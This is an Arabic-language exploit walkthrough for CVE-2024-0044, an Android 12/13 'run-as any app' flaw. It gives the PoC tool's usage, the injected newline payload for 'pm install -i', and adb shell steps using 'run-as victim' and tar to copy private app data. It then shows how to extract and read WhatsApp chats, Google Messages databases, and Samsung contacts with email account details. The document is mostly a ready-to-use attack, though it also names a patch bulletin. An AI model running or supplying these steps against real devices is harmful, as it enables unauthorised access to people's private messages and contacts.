
CVE-2024-0044: ثغرة شديدة الخطورة من نوع "تشغيل أي تطبيق" تؤثر على إصدارات أندرويد 12 و13
ثغرة CVE-2024-0044، التي تم تحديدها في دالة createSessionInternal داخل ملف PackageInstallerService.java، هي ثغرة عالية الخطورة تؤثر على أندرويد 12 و13. تسمح هذه الثغرة للمهاجم بتنفيذ هجوم "run-as any app"، مما يؤدي إلى تصعيد الامتيازات المحلية دون الحاجة إلى تفاعل المستخدم. تنشأ المشكلة بسبب عدم التحقق السليم من المدخلات داخل دالة createSessionInternal. يمكن للمهاجم استغلال ذلك عن طريق التلاعب بعملية إنشاء الجلسة، مما قد يتيح له الوصول غير المصرح به إلى البيانات الحساسة وتنفيذ إجراءات غير مرخصة على الجهاز المتأثر.
تم اكتشاف الثغرة بواسطة Meta security
تم تلخيص إثبات المفهوم ومشاركته بواسطة Tiny hack
يمكن العثور على تفاصيل التصحيح الأمني في نشرة أمان أندرويد
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
يُستخدم -P لتحديد اسم الحزمة الهدف الذي تريد تشغيل البرنامج بصلاحياته.
يُستخدم -A لتحديد مسار ملف APK لدفعه إلى الجهاز.
قم بتشغيل الأداة:
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
سيتم إنشاء ملف payload.txt على النحو التالي:
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
adb shell ولصق الحمولة، والتأكد من ظهور رسالة Success بعد الأمر الأخير.pl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
أنشئ دليلاً مؤقتًا: mkdir /data/local/tmp/wa/
أنشئ ملفًا وهميًا لملف tar: touch /data/local/tmp/wa/wa.tar
اضبط صلاحيات القراءة والكتابة والتنفيذ للجميع: chmod -R 0777 /data/local/tmp/wa/ لضمان قدرة أي مستخدم على القراءة والكتابة والتنفيذ داخل هذا الدليل.
بدّل سياق المستخدم: run-as victim للحصول على نفس صلاحيات مستخدم الضحية.
قم بأرشفة بيانات التطبيق الهدف: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp، لإنشاء ملف tar من دليل بيانات واتساب.
adb pull /data/local/tmp/wa/wa.tar
يمكنك استخراج البيانات باستخدام 7z أو أي أداة أخرى.
يمكنك استخدام مصدر محادثات واتساب لتحويلها إلى HTML.
يتيح لك ذلك الحصول على بيانات واتساب دون الحاجة إلى صلاحيات الجذر على جهازك.
فقط غيّر اسم الحزمة على النحو التالي:
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk
اتبع التعليمات أعلاه، وبعد سحب ملف wa.tar قم بفك ضغطه وافتح المحادثات في com.google.android.apps.messaging/databases/bugle_db باستخدام sqlitebrowser أو أي أداة أخرى.
تم الاختبار على جهاز سامسونج. للأجهزة الأخرى، تحقق من اسم حزمة موفر جهات الاتصال.
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
اتبع التعليمات أعلاه، وبعد سحب ملف wa.tar قم بفك ضغطه وافتح جهات الاتصال في com.samsung.android.providers.contacts/databases/contacts2.db باستخدام sqlitebrowser أو أي أداة أخرى. يحتوي ملف قاعدة البيانات على جميع معلومات حسابات البريد الإلكتروني للمستخدم مع قائمة جهات الاتصال.